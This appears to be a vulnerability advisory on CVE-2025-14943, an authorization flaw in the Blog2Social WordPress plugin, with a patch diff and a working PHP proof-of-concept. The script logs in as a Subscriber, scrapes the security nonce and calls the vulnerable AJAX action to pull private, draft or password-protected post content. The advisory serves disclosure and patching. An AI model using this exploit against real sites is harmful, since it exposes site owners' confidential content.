Atomic Edge analysis of CVE-2025-14943:
This vulnerability is an incorrect authorization flaw in the Blog2Social WordPress plugin. The vulnerability allows authenticated users with Subscriber-level permissions to bypass post-level access controls. Attackers can extract sensitive content from password-protected, private, or draft posts. The CVSS 4.3 score reflects the authenticated nature and confidentiality impact of this information exposure.
The root cause lies in the `getShipItemFullText()` function within `/blog2social/includes/Ajax/Get.php`. Before the patch, the function performed only two checks: verifying the user has the generic ‘read’ capability (line 244) and validating the AJAX nonce (line 244). The function then directly retrieved post content using `get_post((int) $_POST[‘postId’])` (line 251) without verifying if the current user has permission to read that specific post ID. This missing check against the WordPress core `current_user_can(‘read_post’, $post_id)` function created the authorization bypass.
Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `b2s_get_ship_item_full_text`. The request must include a valid nonce (obtainable by a Subscriber) and a `postId` parameter targeting a protected post. The vulnerable endpoint returns the full post content in the response JSON, regardless of the post’s visibility status or password protection.
The patch adds a specific post-level authorization check at lines 250-253 in the updated `/blog2social/includes/Ajax/Get.php`. The new code calls `current_user_can(‘read_post’, (int) $_POST[‘postId’])` before processing the post data. This function consults WordPress’s post status and capability system, ensuring the user has explicit permission to read the requested post. The patch also improves code formatting for clarity but the security fix is the single added authorization check.
Successful exploitation leads to sensitive information exposure. Attackers can extract content from posts intended for limited audiences, including draft posts under editorial review, private posts for specific users, or password-protected posts. This violates confidentiality boundaries within multi-author WordPress sites and could expose proprietary information, unpublished content, or personal data.
--- a/blog2social/blog2social.php
+++ b/blog2social/blog2social.php
@@ -6,7 +6,7 @@
* Author: Blog2Social, miaadenion
* Text Domain: blog2social
* Domain Path: /languages
- * Version: 8.7.2
+ * Version: 8.7.3
* Requires at least: 6.2
* Requires PHP: 7.4
* Tested up to: 6.9
@@ -18,7 +18,7 @@
* @phpcs:disable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound, WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound
*/
-define('B2S_PLUGIN_VERSION', '872');
+define('B2S_PLUGIN_VERSION', '873');
define('B2S_PLUGIN_LANGUAGE', serialize(array('de_DE', 'en_US')));
define('B2S_PLUGIN_DIR', plugin_dir_path(__FILE__));
define('B2S_PLUGIN_URL', plugin_dir_url(__FILE__));
--- a/blog2social/includes/Ajax/Get.php
+++ b/blog2social/includes/Ajax/Get.php
@@ -241,22 +241,31 @@
}
public function getShipItemFullText() {
-
+
if (!current_user_can('read') || !check_ajax_referer('b2s_security_nonce', 'b2s_security_nonce', false)) {
echo wp_json_encode(array('result' => false, 'error' => 'nonce'));
wp_die();
}
if (isset($_POST['postId']) && (int) $_POST['postId'] > 0 && isset($_POST['networkAuthId']) && (int) $_POST['networkAuthId'] > 0) {
- $userLang = isset($_POST['userLang']) ? trim(sanitize_text_field(wp_unslash($_POST['userLang']))) : strtolower(substr(B2S_LANGUAGE, 0, 2));
- $data = get_post((int) $_POST['postId']);
- if (isset($data->post_content)) {
- $postUrl = (get_permalink($data->ID) !== false) ? get_permalink($data->ID) : $data->guid;
- $content = trim(B2S_Util::prepareContent($data->ID, $data->post_content, $postUrl, '', false, $userLang));
- $networkId = isset($_POST['networkId']) ? (int) $_POST['networkId'] : 0;
- echo json_encode(array('result' => true, 'text' => trim(sanitize_textarea_field($content)), 'networkAuthId' => (int) $_POST['networkAuthId'], 'networkId' => $networkId));
- wp_die();
- }
+
+ // Add authorization check for the specific post
+ if (!current_user_can('read_post',(int) $_POST['postId'])) {
+ echo wp_json_encode(array('result' => false, 'error' => 'permission'));
+ wp_die();
+ }
+
+ $userLang = isset($_POST['userLang']) ? trim(sanitize_text_field(wp_unslash($_POST['userLang']))) : strtolower(substr(B2S_LANGUAGE, 0, 2));
+ $data = get_post((int) $_POST['postId']);
+
+ if (isset($data->post_content)) {
+
+ $postUrl = (get_permalink($data->ID) !== false) ? get_permalink($data->ID) : $data->guid;
+ $content = trim(B2S_Util::prepareContent($data->ID, $data->post_content, $postUrl, '', false, $userLang));
+ $networkId = isset($_POST['networkId']) ? (int) $_POST['networkId'] : 0;
+ echo json_encode(array('result' => true, 'text' => trim(sanitize_textarea_field($content)), 'networkAuthId' => (int) $_POST['networkAuthId'], 'networkId' => $networkId));
+ wp_die();
+ }
}
echo json_encode(array('result' => false));
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14943 - Blog2Social: Social Media Auto Post & Scheduler <= 8.7.2 - Incorrect Authorization to Authenticated (Subscriber+) Sensitive Information Exposure
<?php
$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$target_post_id = 123; // ID of a password-protected, private, or draft post
// Step 1: Authenticate and obtain cookies and nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Create a cURL handle for session persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
// Perform WordPress login
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
// Step 2: Extract the b2s security nonce from the admin page
// The nonce is typically available in JavaScript variables or hidden fields
// For this PoC, we assume the attacker can load a page containing the nonce
$admin_url = $target_url . '/wp-admin/admin.php?page=blog2social';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$admin_page = curl_exec($ch);
// Extract nonce from page (simplified pattern - actual implementation may vary)
preg_match('/b2s_security_nonce.*?["']([a-f0-9]+)["']/', $admin_page, $matches);
$b2s_nonce = $matches[1] ?? '';
if (empty($b2s_nonce)) {
die('Failed to extract security nonce. The attacker may need to visit the Blog2Social admin page first.');
}
// Step 3: Exploit the vulnerable endpoint
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
$exploit_payload = array(
'action' => 'b2s_get_ship_item_full_text',
'b2s_security_nonce' => $b2s_nonce,
'postId' => $target_post_id,
'networkAuthId' => 1, // Required parameter but value is arbitrary
'userLang' => 'en',
'networkId' => 1
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);
$exploit_response = curl_exec($ch);
// Step 4: Parse and display results
$result = json_decode($exploit_response, true);
if ($result && isset($result['result']) && $result['result'] === true) {
echo "Exploit successful!n";
echo "Extracted content from post ID $target_post_id:nn";
echo substr($result['text'], 0, 500) . "...n";
} else {
echo "Exploit failed. Response:n";
echo $exploit_response . "n";
}
curl_close($ch);
?>